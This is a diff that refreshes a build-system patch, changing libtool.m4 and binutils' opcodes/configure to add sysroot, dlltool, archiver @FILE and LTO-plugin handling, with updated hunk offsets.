-@@ -4876,10 +5191,10 @@ _LT_EOF
+@@ -4896,10 +5207,10 @@ _LT_EOF
_LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -13141,7 +13187,7 @@ index 434530059fa..e45fdc6998c 100644
;;
esac
else
-@@ -4926,16 +5241,31 @@ _LT_EOF
+@@ -4946,16 +5257,31 @@ _LT_EOF
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -13180,7 +13226,7 @@ index 434530059fa..e45fdc6998c 100644
else
_LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -5020,7 +5350,7 @@ _LT_EOF
+@@ -5040,7 +5366,7 @@ _LT_EOF
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
_LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
@@ -13189,7 +13235,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
else
_LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
-@@ -5039,9 +5369,9 @@ _LT_EOF
+@@ -5059,9 +5385,9 @@ _LT_EOF
_LT_TAGVAR(no_undefined_flag, $1)=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -13201,7 +13247,7 @@ index 434530059fa..e45fdc6998c 100644
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
-@@ -5313,8 +5643,6 @@ _LT_TAGDECL([], [inherit_rpath], [0],
+@@ -5333,8 +5659,6 @@ _LT_TAGDECL([], [inherit_rpath], [0],
to runtime path list])
_LT_TAGDECL([], [link_all_deplibs], [0],
[Whether libtool must link a program against all its dependency libraries])
@@ -13210,7 +13256,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGDECL([], [always_export_symbols], [0],
[Set to "yes" if exported symbols are required])
_LT_TAGDECL([], [export_symbols_cmds], [2],
-@@ -5325,6 +5653,8 @@ _LT_TAGDECL([], [include_expsyms], [1],
+@@ -5345,6 +5669,8 @@ _LT_TAGDECL([], [include_expsyms], [1],
[Symbols that must always be exported])
_LT_TAGDECL([], [prelink_cmds], [2],
[Commands necessary for linking programs (against libraries) with templates])
@@ -13219,7 +13265,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGDECL([], [file_list_spec], [1],
[Specify filename containing input files])
dnl FIXME: Not yet implemented
-@@ -5426,6 +5756,7 @@ CC="$lt_save_CC"
+@@ -5446,6 +5772,7 @@ CC="$lt_save_CC"
m4_defun([_LT_LANG_CXX_CONFIG],
[m4_require([_LT_FILEUTILS_DEFAULTS])dnl
m4_require([_LT_DECL_EGREP])dnl
@@ -13227,7 +13273,7 @@ index 434530059fa..e45fdc6998c 100644
if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
(test "X$CXX" != "Xg++"))) ; then
-@@ -5487,6 +5818,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -5507,6 +5834,7 @@ if test "$_lt_caught_CXX_error" != yes; then
# Allow CC to be a program name with arguments.
lt_save_CC=$CC
@@ -13235,7 +13281,7 @@ index 434530059fa..e45fdc6998c 100644
lt_save_LD=$LD
lt_save_GCC=$GCC
GCC=$GXX
-@@ -5504,6 +5836,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -5524,6 +5852,7 @@ if test "$_lt_caught_CXX_error" != yes; then
fi
test -z "${LDCXX+set}" || LD=$LDCXX
CC=${CXX-"c++"}
@@ -13243,7 +13289,7 @@ index 434530059fa..e45fdc6998c 100644
compiler=$CC
_LT_TAGVAR(compiler, $1)=$CC
_LT_CC_BASENAME([$compiler])
-@@ -5667,7 +6000,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -5687,7 +6016,7 @@ if test "$_lt_caught_CXX_error" != yes; then
_LT_TAGVAR(allow_undefined_flag, $1)='-berok'
# Determine the default libpath from the value encoded in an empty
# executable.
@@ -13252,7 +13298,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
_LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -5679,7 +6012,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -5699,7 +6028,7 @@ if test "$_lt_caught_CXX_error" != yes; then
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -13261,7 +13307,7 @@ index 434530059fa..e45fdc6998c 100644
_LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
# -berok will link without error, but may produce a broken library.
-@@ -5721,29 +6054,75 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -5741,29 +6070,75 @@ if test "$_lt_caught_CXX_error" != yes; then
;;
cygwin* | mingw* | pw32* | cegcc*)
@@ -13360,7 +13406,7 @@ index 434530059fa..e45fdc6998c 100644
darwin* | rhapsody*)
_LT_DARWIN_LINKER_FEATURES($1)
;;
-@@ -5818,7 +6197,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -5838,7 +6213,7 @@ if test "$_lt_caught_CXX_error" != yes; then
;;
*)
if test "$GXX" = yes; then
@@ -13369,7 +13415,7 @@ index 434530059fa..e45fdc6998c 100644
else
# FIXME: insert proper C++ library support
_LT_TAGVAR(ld_shlibs, $1)=no
-@@ -5889,10 +6268,10 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -5909,10 +6284,10 @@ if test "$_lt_caught_CXX_error" != yes; then
_LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
;;
ia64*)
@@ -13382,7 +13428,7 @@ index 434530059fa..e45fdc6998c 100644
;;
esac
fi
-@@ -5933,9 +6312,9 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -5953,9 +6328,9 @@ if test "$_lt_caught_CXX_error" != yes; then
*)
if test "$GXX" = yes; then
if test "$with_gnu_ld" = no; then
@@ -13394,7 +13440,7 @@ index 434530059fa..e45fdc6998c 100644
fi
fi
_LT_TAGVAR(link_all_deplibs, $1)=yes
-@@ -6005,20 +6384,20 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -6025,20 +6400,20 @@ if test "$_lt_caught_CXX_error" != yes; then
_LT_TAGVAR(prelink_cmds, $1)='tpldir=Template.dir~
rm -rf $tpldir~
$CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
@@ -13419,7 +13465,7 @@ index 434530059fa..e45fdc6998c 100644
;;
*) # Version 6 and above use weak symbols
_LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-@@ -6213,7 +6592,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -6233,7 +6608,7 @@ if test "$_lt_caught_CXX_error" != yes; then
_LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
;;
*)
@@ -13428,7 +13474,7 @@ index 434530059fa..e45fdc6998c 100644
;;
esac
-@@ -6259,7 +6638,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -6279,7 +6654,7 @@ if test "$_lt_caught_CXX_error" != yes; then
solaris*)
case $cc_basename in
@@ -13437,7 +13483,7 @@ index 434530059fa..e45fdc6998c 100644
# Sun C++ 4.2, 5.x and Centerline C++
_LT_TAGVAR(archive_cmds_need_lc,$1)=yes
_LT_TAGVAR(no_undefined_flag, $1)=' -zdefs'
-@@ -6300,9 +6679,9 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -6320,9 +6695,9 @@ if test "$_lt_caught_CXX_error" != yes; then
if test "$GXX" = yes && test "$with_gnu_ld" = no; then
_LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
if $CC --version | $GREP -v '^2\.7' > /dev/null; then
@@ -13449,7 +13495,7 @@ index 434530059fa..e45fdc6998c 100644
# Commands to make compiler produce verbose output that lists
# what "hidden" libraries, object files and flags are used when
-@@ -6431,6 +6810,7 @@ if test "$_lt_caught_CXX_error" != yes; then
+@@ -6451,6 +6826,7 @@ if test "$_lt_caught_CXX_error" != yes; then
fi # test -n "$compiler"
CC=$lt_save_CC
@@ -13457,7 +13503,7 @@ index 434530059fa..e45fdc6998c 100644
LDCXX=$LD
LD=$lt_save_LD
GCC=$lt_save_GCC
-@@ -6445,6 +6825,29 @@ AC_LANG_POP
+@@ -6465,6 +6841,29 @@ AC_LANG_POP
])# _LT_LANG_CXX_CONFIG
@@ -13487,7 +13533,7 @@ index 434530059fa..e45fdc6998c 100644
# _LT_SYS_HIDDEN_LIBDEPS([TAGNAME])
# ---------------------------------
# Figure out "hidden" library dependencies from verbose
-@@ -6453,6 +6856,7 @@ AC_LANG_POP
+@@ -6473,6 +6872,7 @@ AC_LANG_POP
# objects, libraries and library flags.
m4_defun([_LT_SYS_HIDDEN_LIBDEPS],
[m4_require([_LT_FILEUTILS_DEFAULTS])dnl
@@ -13495,7 +13541,7 @@ index 434530059fa..e45fdc6998c 100644
# Dependencies to place before and after the object being linked:
_LT_TAGVAR(predep_objects, $1)=
_LT_TAGVAR(postdep_objects, $1)=
-@@ -6503,6 +6907,13 @@ public class foo {
+@@ -6523,6 +6923,13 @@ public class foo {
};
_LT_EOF
])
@@ -13509,7 +13555,7 @@ index 434530059fa..e45fdc6998c 100644
dnl Parse the compiler output and extract the necessary
dnl objects, libraries and library flags.
if AC_TRY_EVAL(ac_compile); then
-@@ -6514,7 +6925,7 @@ if AC_TRY_EVAL(ac_compile); then
+@@ -6534,7 +6941,7 @@ if AC_TRY_EVAL(ac_compile); then
pre_test_object_deps_done=no
for p in `eval "$output_verbose_link_cmd"`; do
@@ -13518,7 +13564,7 @@ index 434530059fa..e45fdc6998c 100644
-L* | -R* | -l*)
# Some compilers place space between "-{L,R}" and the path.
-@@ -6523,13 +6934,22 @@ if AC_TRY_EVAL(ac_compile); then
+@@ -6543,13 +6950,22 @@ if AC_TRY_EVAL(ac_compile); then
test $p = "-R"; then
prev=$p
continue
@@ -13545,7 +13591,7 @@ index 434530059fa..e45fdc6998c 100644
# Internal compiler library paths should come after those
# provided the user. The postdeps already come after the
# user supplied libs so there is no need to process them.
-@@ -6549,8 +6969,10 @@ if AC_TRY_EVAL(ac_compile); then
+@@ -6569,8 +6985,10 @@ if AC_TRY_EVAL(ac_compile); then
_LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} ${prev}${p}"
fi
fi
@@ -13556,7 +13602,7 @@ index 434530059fa..e45fdc6998c 100644
*.$objext)
# This assumes that the test object file only shows up
# once in the compiler output.
-@@ -6586,6 +7008,7 @@ else
+@@ -6606,6 +7024,7 @@ else
fi
$RM -f confest.$objext
@@ -13564,7 +13610,7 @@ index 434530059fa..e45fdc6998c 100644
# PORTME: override above test on systems where it is broken
m4_if([$1], [CXX],
-@@ -6622,7 +7045,7 @@ linux*)
+@@ -6642,7 +7061,7 @@ linux*)
solaris*)
case $cc_basename in
@@ -13573,7 +13619,7 @@ index 434530059fa..e45fdc6998c 100644
# The more standards-conforming stlport4 library is
# incompatible with the Cstd library. Avoid specifying
# it if it's in CXXFLAGS. Ignore libCrun as
-@@ -6735,7 +7158,9 @@ if test "$_lt_disable_F77" != yes; then
+@@ -6755,7 +7174,9 @@ if test "$_lt_disable_F77" != yes; then
# Allow CC to be a program name with arguments.
lt_save_CC="$CC"
lt_save_GCC=$GCC
@@ -13583,7 +13629,7 @@ index 434530059fa..e45fdc6998c 100644
compiler=$CC
_LT_TAGVAR(compiler, $1)=$CC
_LT_CC_BASENAME([$compiler])
-@@ -6789,6 +7214,7 @@ if test "$_lt_disable_F77" != yes; then
+@@ -6809,6 +7230,7 @@ if test "$_lt_disable_F77" != yes; then
GCC=$lt_save_GCC
CC="$lt_save_CC"
@@ -13591,7 +13637,7 @@ index 434530059fa..e45fdc6998c 100644
fi # test "$_lt_disable_F77" != yes
AC_LANG_POP
-@@ -6865,7 +7291,9 @@ if test "$_lt_disable_FC" != yes; then
+@@ -6885,7 +7307,9 @@ if test "$_lt_disable_FC" != yes; then
# Allow CC to be a program name with arguments.
lt_save_CC="$CC"
lt_save_GCC=$GCC
@@ -13601,7 +13647,7 @@ index 434530059fa..e45fdc6998c 100644
compiler=$CC
GCC=$ac_cv_fc_compiler_gnu
-@@ -6921,7 +7349,8 @@ if test "$_lt_disable_FC" != yes; then
+@@ -6941,7 +7365,8 @@ if test "$_lt_disable_FC" != yes; then
fi # test -n "$compiler"
GCC=$lt_save_GCC
@@ -13611,7 +13657,7 @@ index 434530059fa..e45fdc6998c 100644
fi # test "$_lt_disable_FC" != yes
AC_LANG_POP
-@@ -6958,10 +7387,12 @@ _LT_COMPILER_BOILERPLATE
+@@ -6978,10 +7403,12 @@ _LT_COMPILER_BOILERPLATE
_LT_LINKER_BOILERPLATE
# Allow CC to be a program name with arguments.
@@ -13625,7 +13671,7 @@ index 434530059fa..e45fdc6998c 100644
compiler=$CC
_LT_TAGVAR(compiler, $1)=$CC
_LT_TAGVAR(LD, $1)="$LD"
-@@ -6992,7 +7423,8 @@ fi
+@@ -7012,7 +7439,8 @@ fi
AC_LANG_RESTORE
GCC=$lt_save_GCC
@@ -13635,7 +13681,7 @@ index 434530059fa..e45fdc6998c 100644
])# _LT_LANG_GCJ_CONFIG
-@@ -7027,9 +7459,11 @@ _LT_LINKER_BOILERPLATE
+@@ -7047,9 +7475,11 @@ _LT_LINKER_BOILERPLATE
# Allow CC to be a program name with arguments.
lt_save_CC="$CC"
@@ -13647,7 +13693,7 @@ index 434530059fa..e45fdc6998c 100644
compiler=$CC
_LT_TAGVAR(compiler, $1)=$CC
_LT_CC_BASENAME([$compiler])
-@@ -7042,7 +7476,8 @@ fi
+@@ -7062,7 +7492,8 @@ fi
GCC=$lt_save_GCC
AC_LANG_RESTORE
@@ -13657,7 +13703,7 @@ index 434530059fa..e45fdc6998c 100644
])# _LT_LANG_RC_CONFIG
-@@ -7101,6 +7536,15 @@ _LT_DECL([], [OBJDUMP], [1], [An object symbol dumper])
+@@ -7121,6 +7552,15 @@ _LT_DECL([], [OBJDUMP], [1], [An object symbol dumper])
AC_SUBST([OBJDUMP])
])
@@ -13673,7 +13719,7 @@ index 434530059fa..e45fdc6998c 100644
# _LT_DECL_SED
# ------------
-@@ -7194,8 +7638,8 @@ m4_defun([_LT_CHECK_SHELL_FEATURES],
+@@ -7214,8 +7654,8 @@ m4_defun([_LT_CHECK_SHELL_FEATURES],
# Try some XSI features
xsi_shell=no
( _lt_dummy="a/b/c"
@@ -13684,7 +13730,7 @@ index 434530059fa..e45fdc6998c 100644
&& eval 'test $(( 1 + 1 )) -eq 2 \
&& test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
&& xsi_shell=yes
-@@ -7234,206 +7678,162 @@ _LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl
+@@ -7254,206 +7694,162 @@ _LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl
])# _LT_CHECK_SHELL_FEATURES
@@ -19318,7 +19364,7 @@ index bf92b5e0790..c573da90c5c 100644
# These exist entirely to fool aclocal when bootstrapping libtool.
#
diff --git a/opcodes/configure b/opcodes/configure
-index 8d1e561c942..a0291dfbfa7 100755
+index 3513e408ce1..133948631e9 100755
--- a/opcodes/configure
+++ b/opcodes/configure
@@ -680,6 +680,9 @@ OTOOL
@@ -19337,9 +19383,9 @@ index 8d1e561c942..a0291dfbfa7 100755
with_gnu_ld
+with_libtool_sysroot
enable_libtool_lock
+ enable_checking
enable_targets
- enable_werror
-@@ -1462,6 +1466,8 @@ Optional Packages:
+@@ -1464,6 +1468,8 @@ Optional Packages:
--with-pic try to use only PIC/non-PIC objects [default=use
both]
--with-gnu-ld assume the C compiler uses GNU ld [default=no]
@@ -19348,7 +19394,7 @@ index 8d1e561c942..a0291dfbfa7 100755
Some influential environment variables:
CC C compiler command
-@@ -5403,8 +5409,8 @@ esac
+@@ -4751,8 +4757,8 @@ esac
@@ -19359,7 +19405,7 @@ index 8d1e561c942..a0291dfbfa7 100755
-@@ -5444,7 +5450,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+@@ -4792,7 +4798,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
$as_echo_n "checking how to print strings... " >&6; }
# Test print first, because it will be a builtin if present.
@@ -19368,7 +19414,7 @@ index 8d1e561c942..a0291dfbfa7 100755
test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
ECHO='print -r --'
elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6130,8 +6136,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+@@ -5478,8 +5484,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
# Try some XSI features
xsi_shell=no
( _lt_dummy="a/b/c"
@@ -19379,7 +19425,7 @@ index 8d1e561c942..a0291dfbfa7 100755
&& eval 'test $(( 1 + 1 )) -eq 2 \
&& test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
&& xsi_shell=yes
-@@ -6180,6 +6186,80 @@ esac
+@@ -5528,6 +5534,80 @@ esac
@@ -19460,7 +19506,7 @@ index 8d1e561c942..a0291dfbfa7 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
$as_echo_n "checking for $LD option to reload object files... " >&6; }
if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6196,6 +6276,11 @@ case $reload_flag in
+@@ -5544,6 +5624,11 @@ case $reload_flag in
esac
reload_cmds='$LD$reload_flag -o $output$reload_objs'
case $host_os in
@@ -19472,7 +19518,7 @@ index 8d1e561c942..a0291dfbfa7 100755
darwin*)
if test "$GCC" = yes; then
reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6364,7 +6449,8 @@ mingw* | pw32*)
+@@ -5712,7 +5797,8 @@ mingw* | pw32*)
lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
lt_cv_file_magic_cmd='func_win32_libid'
else
@@ -19482,7 +19528,7 @@ index 8d1e561c942..a0291dfbfa7 100755
lt_cv_file_magic_cmd='$OBJDUMP -f'
fi
;;
-@@ -6518,6 +6604,21 @@ esac
+@@ -5866,6 +5952,21 @@ esac
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
$as_echo "$lt_cv_deplibs_check_method" >&6; }
@@ -19504,7 +19550,7 @@ index 8d1e561c942..a0291dfbfa7 100755
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6531,11 +6632,164 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5881,6 +5982,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
@@ -19518,11 +19564,7 @@ index 8d1e561c942..a0291dfbfa7 100755
+
+
+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
++if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
@@ -19663,7 +19705,15 @@ index 8d1e561c942..a0291dfbfa7 100755
+
+
+
-+if test -n "$ac_tool_prefix"; then
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5895,8 +6147,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
+ for ac_prog in ar
+ do
+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
@@ -19671,7 +19721,7 @@ index 8d1e561c942..a0291dfbfa7 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_AR+:} false; then :
-@@ -6551,7 +6805,7 @@ do
+@@ -5912,7 +6166,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -19680,7 +19730,7 @@ index 8d1e561c942..a0291dfbfa7 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6571,11 +6825,15 @@ $as_echo "no" >&6; }
+@@ -5932,11 +6186,15 @@ $as_echo "no" >&6; }
fi
@@ -19699,7 +19749,7 @@ index 8d1e561c942..a0291dfbfa7 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6591,7 +6849,7 @@ do
+@@ -5952,7 +6210,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -19708,7 +19758,7 @@ index 8d1e561c942..a0291dfbfa7 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6610,6 +6868,10 @@ else
+@@ -5971,6 +6229,10 @@ else
$as_echo "no" >&6; }
fi
@@ -19719,7 +19769,7 @@ index 8d1e561c942..a0291dfbfa7 100755
if test "x$ac_ct_AR" = x; then
AR="false"
else
-@@ -6621,16 +6883,72 @@ ac_tool_warned=yes ;;
+@@ -5982,25 +6244,20 @@ ac_tool_warned=yes ;;
esac
AR=$ac_ct_AR
fi
@@ -19728,20 +19778,37 @@ index 8d1e561c942..a0291dfbfa7 100755
fi
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
+
+
+
+@@ -6011,6 +6268,63 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
+$as_echo_n "checking for archiver @FILE support... " >&6; }
+if ${lt_cv_ar_at_file+:} false; then :
@@ -19754,7 +19821,7 @@ index 8d1e561c942..a0291dfbfa7 100755
+int
+main ()
+{
-
++
+ ;
+ return 0;
+}
@@ -19780,23 +19847,29 @@ index 8d1e561c942..a0291dfbfa7 100755
+ fi
+ fi
+ rm -f conftest.* libconftest.a
-
++
+fi
+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
++
+fi
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
+$as_echo "$lt_cv_ar_at_file" >&6; }
-
++
+if test "x$lt_cv_ar_at_file" = xno; then
+ archiver_list_spec=
+else
+ archiver_list_spec=$lt_cv_ar_at_file
+fi
++
++
++
++
++
++
-
-
-@@ -6972,8 +7290,8 @@ esac
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+@@ -6351,8 +6665,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -19807,7 +19880,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -7009,6 +7327,7 @@ for ac_symprfx in "" "_"; do
+@@ -6388,6 +6702,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -19815,7 +19888,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -7050,6 +7369,18 @@ _LT_EOF
+@@ -6429,6 +6744,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -19834,7 +19907,7 @@ index 8d1e561c942..a0291dfbfa7 100755
#ifdef __cplusplus
extern "C" {
#endif
-@@ -7061,7 +7392,7 @@ _LT_EOF
+@@ -6440,7 +6767,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -19843,7 +19916,7 @@ index 8d1e561c942..a0291dfbfa7 100755
const char *name;
void *address;
}
-@@ -7087,8 +7418,8 @@ static const void *lt_preloaded_setup() {
+@@ -6466,8 +6793,8 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -19854,7 +19927,7 @@ index 8d1e561c942..a0291dfbfa7 100755
LIBS="conftstm.$ac_objext"
CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7098,8 +7429,8 @@ _LT_EOF
+@@ -6477,8 +6804,8 @@ _LT_EOF
test $ac_status = 0; } && test -s conftest${ac_exeext}; then
pipe_works=yes
fi
@@ -19865,7 +19938,7 @@ index 8d1e561c942..a0291dfbfa7 100755
else
echo "cannot find nm_test_func in $nlist" >&5
fi
-@@ -7136,6 +7467,16 @@ else
+@@ -6515,6 +6842,14 @@ else
$as_echo "ok" >&6; }
fi
@@ -19877,12 +19950,10 @@ index 8d1e561c942..a0291dfbfa7 100755
+fi
+
+
-+
-+
-@@ -7152,6 +7493,45 @@ fi
+@@ -6533,6 +6868,47 @@ fi
@@ -19925,10 +19996,12 @@ index 8d1e561c942..a0291dfbfa7 100755
+
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
+$as_echo "${lt_sysroot:-no}" >&6; }
++
++
-@@ -7363,6 +7743,123 @@ esac
+@@ -6742,6 +7118,123 @@ esac
need_locks="$enable_libtool_lock"
@@ -20052,7 +20125,7 @@ index 8d1e561c942..a0291dfbfa7 100755
case $host_os in
rhapsody* | darwin*)
-@@ -7926,6 +8423,8 @@ _LT_EOF
+@@ -7305,6 +7798,8 @@ _LT_EOF
$LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
echo "$AR cru libconftest.a conftest.o" >&5
$AR cru libconftest.a conftest.o 2>&5
@@ -20061,26 +20134,7 @@ index 8d1e561c942..a0291dfbfa7 100755
cat > conftest.c << _LT_EOF
int main() { return 0;}
_LT_EOF
-@@ -8091,7 +8590,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8180,7 +8680,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8478,8 +8978,6 @@ fi
